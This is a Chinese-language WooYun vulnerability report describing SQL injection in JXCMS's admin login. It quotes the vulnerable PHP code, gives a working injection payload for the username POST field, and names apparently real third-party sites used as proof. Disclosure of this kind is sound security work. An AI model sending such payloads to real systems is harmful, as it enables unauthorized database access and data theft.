当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105027

漏洞标题:精讯CMS SQL注入(通杀)

相关厂商:jxcms.com

漏洞作者: xiaoL

提交时间:2015-04-01 17:46

修复时间:2015-07-05 17:49

公开时间:2015-07-05 17:49

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

底层模型解析出错,导致大面积注入。
这是真的注入,真的能注出数据的。
无视新版添加的webscan.class.php

详细说明:

找注入,上来就看sql语句是怎么处理的。
jxcms的model调用数据库操作无论是
->where
->find
都会调用/jxcms/lib/core/db.class.php文件中的checkOneWhere函数进行组装与过滤。

private function checkOneWhere($str) {
$tmp = preg_replace('/(["|\']).*?\\1/s', '', $str);
$tmp = strtoupper($tmp);
if (strstr($tmp, ' BETWEEN ')) $tmp = preg_replace('/ AND /', '', $tmp, 1);
// 不是单个条件直接返回
if (strstr($tmp, ' AND ') || strstr($tmp, ' OR ') || strstr($tmp, ' XOR ')) return $str;
//主要是这里,发现AND OR XOR就会直接返回,而不会进过后面的parseValue()函数
// 规范化IN
$tmp = strtok($str, '"\'');
if (stristr($tmp, ' IN(')) {
$tmp = preg_replace('/ IN\(/i', ' IN (', $tmp, 1);
$str = preg_replace('/ IN\(/i', ' IN (', $str, 1);
}
foreach(array('!=', '>=', '<=', '=', '>', '<', ' NOT IN ', ' IN ', ' NOT LIKE ', ' LIKE ', ' BETWEEN ') as $comp) {
if (stristr($tmp, $comp)) {
$t = explode($comp, $str, 2);
$field = $this -> addSpecialChar($t[0]);
$value = trim($t[1]);
if (is_string($value)) {
$first = substr($value, 0, 1);
if ($first == '"' || $first == '\'') {
$value = substr($value, 1, -1);
if (!stristr($comp, ' IN ')) $value = $this -> parseValue($value);
} else {
if (!(stristr($comp, ' IN ') || (strpos($field, '.', 1) && strpos($value, '.', 1)))) {
$value = $this -> parseValue($value);
}
}
}
return "$field $comp $value";
}
}
return $str;
}


这样随便找一个可控的find()就行了。
另一个问题:
webscan.class.php
貌似是最新版新加的,不去绕过了,直接找无视的方式。
可以找到jxcms/common.php中存在:

import('Lib/Core/App', 'jxcms');
import('Lib/Core/Base', 'jxcms');
if (C('WEBSCAN', 1) && !defined('IN_ADMIN')) Webscan :: run();
只要是后台操作就不开启


那就去admin.php文件调用,此处当然不会是后台注入。
就是后台登录位置即可。

public function login() {
if ($this -> isSubmit) {
if (C('captcha_admin_login', 0, 'member')) {
$captcha = new Captcha();
$captcha -> check(trim($_POST['captcha'])) or $this -> showMsg(L('CAPTCHA_ERROR'));
}
$memberObj = M('member');
$username = trim($_POST['username']); //未过滤
$password = md5(trim($_POST['password']));
$field = array('userid', 'username', 'password', 'email', 'lastdate', 'groupid');
$where = array('username' => $username, 'groupid' => 1);
$r = $memberObj -> field($field) -> where($where) -> find(); //where直接带入
if ($r) {
if ($r['password'] == $password) {
// 后台登陆信息
$loginInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'role' => $memberObj -> getRole($r['userid']), 'hash' => Func :: getHash($username . $password));
// 前台登陆信息
$userInfo = array('userid' => $r['userid'], 'username' => $r['username'], 'email' => $r['email'], 'lastdate' => $r['lastdate'], 'groupid' => 1, 'password' => $password);
M('member') -> setLogin($userInfo);
$_SESSION[C('DB_PREFIX', 1) . 'loginInfo'] = serialize($loginInfo);
$this -> showMsg(L('LOGIN_SUCCESS'), '?a=defaults');
} else $this -> showMsg(L('PASSWORD_ERROR'), '?a=login');
} else $this -> showMsg(L('USERNAME_IS_NOT_EXIST'), '?a=login');
}
$this -> display('login');
}


漏洞证明:

后台登录提交数据包:
submit=1&username='testtest' AND extractvalue(1, concat(0x5c,(select user())));-- 1&password=testtest&captcha=ckxn&subimg.x=32&subimg.y=24
这里是不过滤的,所以里面的语句是任意的。这里只是举例,注意验证码。
本地最新版:

1111.png


http://test.tzks.cn/

2222.png


www.gsdedu.com

4444.png

修复方案:

都过滤

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-05 17:49

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无